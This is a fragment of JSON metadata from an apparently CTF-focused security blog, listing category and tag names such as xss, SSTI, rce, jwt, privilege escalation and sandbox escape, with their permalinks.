$response;","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"提权","slug":"提权","permalink":"http://s1rius.space/tags/%E6%8F%90%E6%9D%83/"}],"author":"s1rius"}],"categories":[{"name":"awd","slug":"awd","permalink":"http://s1rius.space/categories/awd/"},{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"},{"name":"资源","slug":"资源","permalink":"http://s1rius.space/categories/%E8%B5%84%E6%BA%90/"}],"tags":[{"name":"awd","slug":"awd","permalink":"http://s1rius.space/tags/awd/"},{"name":"AoiAWD","slug":"AoiAWD","permalink":"http://s1rius.space/tags/AoiAWD/"},{"name":"反制脚本","slug":"反制脚本","permalink":"http://s1rius.space/tags/%E5%8F%8D%E5%88%B6%E8%84%9A%E6%9C%AC/"},{"name":"长城杯","slug":"长城杯","permalink":"http://s1rius.space/tags/%E9%95%BF%E5%9F%8E%E6%9D%AF/"},{"name":"铁人三项","slug":"铁人三项","permalink":"http://s1rius.space/tags/%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9/"},{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"ssh","slug":"ssh","permalink":"http://s1rius.space/tags/ssh/"},{"name":"xxe","slug":"xxe","permalink":"http://s1rius.space/tags/xxe/"},{"name":"buuctf","slug":"buuctf","permalink":"http://s1rius.space/tags/buuctf/"},{"name":"xss","slug":"xss","permalink":"http://s1rius.space/tags/xss/"},{"name":"xss-lab","slug":"xss-lab","permalink":"http://s1rius.space/tags/xss-lab/"},{"name":"SSTI","slug":"SSTI","permalink":"http://s1rius.space/tags/SSTI/"},{"name":"模板注入","slug":"模板注入","permalink":"http://s1rius.space/tags/%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/"},{"name":"visual studio 2022","slug":"visual-studio-2022","permalink":"http://s1rius.space/tags/visual-studio-2022/"},{"name":"upload","slug":"upload","permalink":"http://s1rius.space/tags/upload/"},{"name":"upload-labs","slug":"upload-labs","permalink":"http://s1rius.space/tags/upload-labs/"},{"name":"python","slug":"python","permalink":"http://s1rius.space/tags/python/"},{"name":"沙箱逃逸","slug":"沙箱逃逸","permalink":"http://s1rius.space/tags/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/"},{"name":"PyJail","slug":"PyJail","permalink":"http://s1rius.space/tags/PyJail/"},{"name":"ctfhub","slug":"ctfhub","permalink":"http://s1rius.space/tags/ctfhub/"},{"name":"linux","slug":"linux","permalink":"http://s1rius.space/tags/linux/"},{"name":"动态加载","slug":"动态加载","permalink":"http://s1rius.space/tags/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/"},{"name":"sql","slug":"sql","permalink":"http://s1rius.space/tags/sql/"},{"name":"sqli-lab","slug":"sqli-lab","permalink":"http://s1rius.space/tags/sqli-lab/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://s1rius.space/tags/ctfshow/"},{"name":"jwt","slug":"jwt","permalink":"http://s1rius.space/tags/jwt/"},{"name":"json web token","slug":"json-web-token","permalink":"http://s1rius.space/tags/json-web-token/"},{"name":"git","slug":"git","permalink":"http://s1rius.space/tags/git/"},{"name":"kali","slug":"kali","permalink":"http://s1rius.space/tags/kali/"},{"name":"docker","slug":"docker","permalink":"http://s1rius.space/tags/docker/"},{"name":"rce","slug":"rce","permalink":"http://s1rius.space/tags/rce/"},{"name":"unctf","slug":"unctf","permalink":"http://s1rius.space/tags/unctf/"},{"name":"提权","slug":"提权","permalink":"http://s1rius.space/tags/%E6%8F%90%E6%9D%83/"}]}